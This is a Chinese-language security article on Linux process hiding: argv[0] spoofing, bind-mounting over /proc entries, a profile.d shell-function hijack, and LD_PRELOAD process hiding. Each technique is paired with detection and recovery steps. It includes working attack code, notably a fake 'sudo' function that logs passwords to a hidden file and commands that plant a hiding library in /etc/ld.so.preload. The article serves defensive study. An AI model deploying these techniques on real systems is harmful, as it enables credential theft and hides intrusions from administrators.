进程名伪装
攻击原理
攻击者利用 Linux 进程创建时 execve() 对 argv[0] 可控的特性,在启动程序时伪造进程命令行参数,使 /proc/<pid>/cmdline 等用户态接口展示为正常业务名称,从而造成进程展示信息与真实执行文件不一致,达到进程伪装的目的。
实现方案
程序直接执行的情况下,例如下面放到后台执行
nohup ./simulation &
默认情况下,通过 ps、top 等基于 procfs 的工具可以看到真实的进程命令信息。
可以通过下面命令把进程伪装成一个java业务,伪装一般会用当前主机跑的真实业务去当做进程命令信息。
nohup bash -c 'exec -a "java -Xms512m -Xmx1024m -jar app.jar" ./simulation' &
在通过exec -a去执行的时候会在系统调用execve()的时候指定新的argv[0],该参数会作为进程启动时的 argv[0] 传入,而 /proc/<pid>/cmdline 会读取进程的 argv 数据,因此最终会影响 cmdline 展示内容。,通过cmdline去识别进程名字的都会受到影响。
对于execve()的执行参数可以通过下面命令进行确定
strace -f -e execve bash -c 'exec -a "java -jar app.jar" ./simulation'

排查方案
可以通过下面脚本寻找在procfs中comm与cmdline不同的进程,但仅用于可疑参考,不能把当前结果当做实际确定结果。
#!/bin/bash
for pid in /proc/[0-9]*; do
pid=${pid##*/}
comm=$(cat /proc/$pid/comm 2>/dev/null)
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
if [ -n "$comm" ] && [ -n "$cmdline" ]; then
if [[ "$cmdline" != *"$comm"* ]]; then
echo "[!] PID: $pid"
echo " comm: $comm"
echo " cmdline: $cmdline"
echo
fi
fi
done
在排查网络的时候,也可以通过活跃连接源与目的端口去判定,以实际SSH业务为例,对于服务器而言,通常服务端口是一个固定的监听端口,默认为22,特殊情况可能为非标准端口,但在排查网络外联的时候服务端在活跃连接的源端口不是系统设置的,那么就可以确定为可疑,并且这类可以很明显的确定他是主动发起的请求,而不是外部发过来。
此外,如果有其他情报,也可以直接通过内存搜索的方式去确定问题。
进程绑定挂载
攻击原理
攻击者利用 bind mount 替换目标进程的 /proc/<pid> 视图,使依赖 procfs 获取进程信息的工具(如 ps、top 等)读取到伪造或空白内容,从而达到隐藏或伪装进程信息的目的。
实现方案
通过查看网络外联的形式,在正常情况下展示一下信息
可以通过下面命令实现隐藏目的
mkdir -p /home/.hidden
mount -o bind /home/.hidden /proc/9289
隐藏后通过排查网络外联的形式查看,可以发现PID信息已被隐藏,且直接通过ps无法找到进程信息
消失的原因是部分用户态工具(如ps、top 以及依赖 procfs 的工具)通过读取 /proc/<pid> 下的文件获取进程信息。通过 bind mount 将目标进程的 /proc/<pid> 目录覆盖到其他目录后,工具访问该 PID 对应路径时会被重定向到挂载后的内容。如果绑定目标是一个空目录,例如 /home/.hidden,由于缺少 cmdline、status、fd 等 proc 文件,依赖这些信息的工具无法获取完整进程信息,因此可能无法显示该进程。
另一种利用方式是不创建新的目录,而是将目标 PID 的 /proc 目录绑定到另一个已经存在的进程,例如 /proc/1 或其他正常进程。此时工具获取到的是伪造进程信息,实现进程信息欺骗,而不是简单隐藏,但是这个针对netstat无效,它并不是完全依赖/procfs。
mount -o bind /proc/1 /proc/9289
排查方案
快速发现异常的手段可以执行下面命令
mount |grep /proc/
但是这个命令只能用来发现异常,回显的信息没有对应绑定路径。
较为详细的内容可以通过下面命令执行发现
cat /proc/self/mountinfo |grep /proc/
也可以通过下面命令发现可疑进程(如果隐匿的方式是进程绑定进程则无效,仅辅助使用)
ls -l /proc | awk '$5 != 0'
排查确定有问题取证完毕后,可以通过下面命令进行恢复进程状态
umount /proc/9289
命令劫持
攻击原理
攻击者通过修改 Shell 启动配置文件,在系统加载用户环境时定义与系统命令同名的函数或脚本,从而优先执行恶意逻辑,实现对常用命令的劫持。由于 Shell 会优先匹配函数和别名,用户执行命令时可能无法直接调用原始程序。
实现方案
在/etc/profile.d/目录下创建pass_hijack.sh,写入以下内容:
#!/bin/bash
function ls {
out=$(command ls "$@")
out=$(echo "$out" | sed -e '/pass_hijack\.sh/d')
echo "$out"
}
function sudo {
read -sp "[sudo] password for $USER: " password
echo ""
touch /tmp/.pass.txt 2>/dev/null
echo "$USER : $password" >> /tmp/.pass.txt
echo "$password" | /usr/bin/sudo -S "$@"
}
其中,ls函数通过command ls调用原始命令,并过滤结果中的pass_hijack.sh,以隐藏恶意脚本自身。sudo函数则伪造密码提示,记录用户输入的密码后,再调用真实的sudo命令继续执行操作。修改后可以通过source /etc/profile重新加载配置文件,使其生效,需要注意的是,默认用户登录都会自动去加载一遍这个配置,不需要手动去执行即可生效。生效结果如下
除窃取密码外,攻击者还可以在被劫持的命令中加入恶意软件持久化、反向 Shell、敏感信息收集及外传等逻辑,从而扩大攻击影响。
排查方案
在本文的实现方案中,加载后可以明显的看到ls命令的输出方式变了,正常来说ls命令的输出方式应该是自适应的,比较短的文件通常都会是横向输排列的,这个也算是一个可以发现问题的点。针对普通场景下的排查,可以查看/etc/profile和/etc/profile.d/*中是否存在可疑的命令来确定问题。如果文件较多也可以尝试通过追踪系统调用的方式去发现,但是追踪系统调用的方式你需要明确了解被劫持的命令,这个似乎在实际环境中并不好发现,命令为strace -e trace=file -f ls /etc/profile.d/,执行结果如下
需要注意,/etc/profile、/etc/profile.d/只是比较常见的配置位置,并不是固定位置。攻击者也可以通过~/.bashrc、/etc/bash.bashrc等文件加载恶意内容,或者在这些文件中指定其他目录及独立文件。因此,需要结合实际 Shell 类型和启动流程,对相关配置文件及其引用内容进行分析。

动态链接库劫持
攻击原理
攻击者利用 Linux 动态链接器加载机制,通过 LD_PRELOAD 指定恶意共享库,使目标程序在启动时优先加载攻击者控制的代码,从而实现函数劫持、行为修改或隐藏攻击痕迹。
实现方案
参考项目文件:https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c
项目实际实现是通过 LD_PRELOAD 对 libc 的 readdir 函数进行 hook。当目标程序遍历 /proc 目录获取进程列表时,hook后的 readdir 会判断当前遍历目录是否为 /proc,并读取对应 PID 的进程名称。如果发现进程名称匹配需要隐藏的目标,则通过 continue 跳过该目录项,使调用方无法获取该进程信息,关键代码如下。
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
本地实现方案可以参考下面命令去构建动态链接库
curl -O https://raw.githubusercontent.com/gianlucaborello/libprocesshider/master/processhider.c # 下载对应代码
sed -i 's/evil_script.py/simulation/' processhider.c # 替换隐藏程序名,根据自己复现程序去替换
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl # 编译动态链接库
对于链接库的使用,可以直接通过LD_PRELOAD变量去直接复现,如下
nohup ./simulation & # 程序运行
ps -aux|grep simulation # 正常情况下直接看进程
LD_PRELOAD=$PWD/libprocesshider.so ps -aux | grep simulation # 加载恶意链接库之后查看进程
结果如下
在真实环境下,攻击者都是直接修改/etx/ld.so.preload、/etc/ld.so.conf文件,或在/etc/ld.so.conf.d/目录下单独创建加载配置。下面命令以修改/etc/ld.so.preload文件来实现整个系统的劫持
cat >>/etc/ld.so.preload<<EOF
/root/simulation/target/release/libprocesshider.so
EOF
ps -aux|grep simulation
结果如下
针对不同的动态链接库配置文件,其生效方式存在一定差异。/etc/ld.so.preload中需要直接指定待加载的 .so 文件,配置写入后,后续启动的动态链接程序会直接受到影响。而 /etc/ld.so.conf 及 /etc/ld.so.conf.d/*.conf 主要用于配置动态链接库的搜索路径。修改这些配置后,需要执行 ldconfig 更新 /etc/ld.so.cache,使新增路径中的动态链接库能够被动态链接器检索。此外,在某些情况下,还会直接隐藏恶意文件的位置,以及隐藏 /etc/ld.so.preload 文件,但实际实现思路基本一致。
排查方案
如果发现异常,但使用系统命令无法进一步定位,可以先使用不依赖系统动态链接库的工具进行辅助排查,例如静态编译的 busybox,以避免排查工具本身受到动态链接库劫持的影响。这类工具最好自己本地准备一份,而不是通过网络下载的形式获取,排查方法如下
wget https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox
chmod +x busybox
./busybox ps |grep simulation
./busybox netstat -tnlap
结果如下
然后分别检查/etc/ld.so.conf,/etc/ld.so.preload,/etc/ld.so.conf.d/*文件,看他们是否有可疑的加载内容,针对busybox的排查方案是需要利用到外部工具,让其不受动态链接库劫持的影响,对于无法上传工具,只有系统命令的情况下也可以通过追踪调用链的方式去发现问题,例如strace和ldd,使用方法如下
strace -f -e trace=openat ps 2>&1 | grep '\.so'
ldd /usr/bin/ps
这两个方法都可以直接发现异常,结果如下
但是通常恶意的so文件不会出现在过于明显的位置,这通常需要一定的经验去判断。个人认为最好的方式是发现可能存在劫持后,直接使用静态编译的busybox进行排查。需要注意的是,对于已经运行的进程,即使删除了恶意 so 文件、修复了/etc/ld.so.preload、/etc/ld.so.conf、/etc/ld.so.conf.d/*.conf,也无法完全恢复,因为恶意 so 已经被动态链接器映射进这些进程的地址空间,在进程退出前一直有效。正确的做法是先清理恶意文件和配置,再重启系统,才能彻底恢复。